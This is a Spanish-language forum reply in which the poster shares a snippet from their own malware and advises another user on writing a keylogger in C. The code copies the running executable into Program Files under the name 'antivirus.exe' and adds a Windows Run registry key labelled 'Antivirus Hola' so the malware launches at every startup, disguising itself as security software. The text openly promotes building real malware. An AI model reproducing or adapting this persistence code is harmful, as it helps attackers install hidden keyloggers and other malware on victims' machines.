Yo te puedo dar un fragmento de codigo de mi propio malware que te permita iniciar con Windows. Espero que te sirva, analizalo, y pruebalo para saber si es lo que buscas. Lo he comentado en ingles, para que se vea mas profesional. Deberías aprender ese idioma para poder participar en foros de habla inglesa.
#include "windows.h"
///This function copies the malware executable to the system folder
///And after that, create a registry key to start with Windows.
int start_with_windows(){
char execution_dir[MAX_PATH];
char *program_files_variable;
char path_destiny[MAX_PATH];
cout << "Start with windows..." << endl;
///Gets from which directory the program is running
HMODULE current_executable = GetModuleHandle(NULL);
GetModuleFileName(current_executable,execution_dir, sizeof(execution_dir));
///Gets program files directory
program_files_variable = getenv("PROGRAMFILES");
///Copies the program files directory to the destiny path string
strcpy(path_destiny, program_files_variable);
strcat(path_destiny, "\\antivirus.exe");
///Copies the file to the program files folder
CopyFile(execution_dir, path_destiny, false);
///Creates a registry key
HKEY hKey;
///Opens the registry key "run" to start with Windows
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey );
///Set the value of the new key. Put the path of the malware
RegSetValueEx(hKey, "Antivirus Hola",0,REG_SZ,(const unsigned char*) path_destiny,sizeof(path_destiny));
RegCloseKey(hKey);
///Debugging purpouses
//cout << execution_dir << endl;
return 0;
}
Yo te recomiendo que hagas tu keylogger en C puro, sin usar C++ o Batch. ¿Por que razón? Porque es más eficiente y profesional usar C. Batch no sirve para crear malware de verdad.
Espero que mi codigo te haya sido util. Si alguna cosa, no dudes en venir al foro de nuevo. Aqui estamos para ayudarnos mutuamente.